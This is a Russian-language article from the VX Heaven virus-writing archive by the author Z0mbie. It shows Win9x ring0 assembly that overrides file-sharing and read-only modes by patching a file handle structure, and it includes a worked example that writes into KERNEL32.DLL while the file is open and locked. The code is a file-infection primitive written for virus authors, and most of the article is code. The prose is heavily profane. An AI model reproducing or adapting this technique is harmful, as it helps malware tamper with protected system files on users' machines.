Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Win9X: Пишем в закрытые для записи файлы

Z0mbie
Top Device Online [4]
Апрель 2000

[Вернуться к списку] [Комментарии]

Итак, вот оно!!! После нескольких часов ковыряния маздая и упорного разглядывания хексов родились две ассемблерные команды, чему я весьма рад, ибо давно было пора. Но, как говорится, лучше послезавтра чем завтра, и поэтому вам представляется взъеб маздайных шар (в ring0):

        ; EBX=ring0 file handle, file may be opened in read-only mode
        mov     eax, [ebx+0Ch]                  ; get some fucking pointer
        mov     byte ptr [eax+0Ch], 42h         ; set openmode to denynone, read-write
 

Хотите еще? Ну тогда вот вам полный экземпл записи в KERNEL32.DLL, аки же в любой другой файл независимо от того, открыт ли он, системный или еще какая хуйня:

        ...
        mov     eax, R0_OPENCREATFILE
        mov     bx, 2044h                       ; no i24, denynone, r/o
        mov     cx, 32                          ; archive (unused here)
        mov     dx, 01h                         ; fail | open
        lea     esi, filename
        VxDcall IFSMGR, Ring0_FileIO
        xchg    ebx, eax

        mov     eax, [ebx+0Ch]                  ; fuck share:
        mov     byte ptr [eax+0Ch], 42h         ; denynone, read-write

        mov     eax, R0_WRITEFILE
        mov     ecx, size buf
        xor     edx, edx                        ; filepos
        lea     esi, buf
        VxDcall IFSMGR, Ring0_FileIO

        mov     eax, R0_CLOSEFILE
        VxDcall IFSMGR, Ring0_FileIO
        ...
 

С ring3 дело обстоит сложнее: чтобы наебать шары нужен хендл нулевого кольца, а сгенерить его из ring3-хендла не так-то просто. Есть, правда, функция: IFSMGR_Win32_Get_Ring0_Handle, но она глюкавая и хуево как-то вызывается.

Метод, который применялся чтобы до всего этого допереть:

  1. замечаем, что хендл файла в нулевом кольце суть поинтер куда-то-там
  2. дальше видим, что по этому адресу (хендлу) куча офсетов
  3. открываем два файла - один readonly и один readwrite
  4. дампим и сравниваем память куда показывают офсеты из обоих хендлов
  5. повторяем до полного охуения либо пока не станет все понятно ;-)

Кроме всего прочего было замечено: после 'mov eax, [ebx+0Ch]' в eax будет поинтер на структуру, первый дворд которой суть поинтер на следующую такую же структуру. Из этого можно поиметь например сканер хендлов.

В качестве бонуса прилагается пример инвертирования первого байта в KERNEL32.DLL, а так же инклюдники для перехода и работы с файлами в ring0.

By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua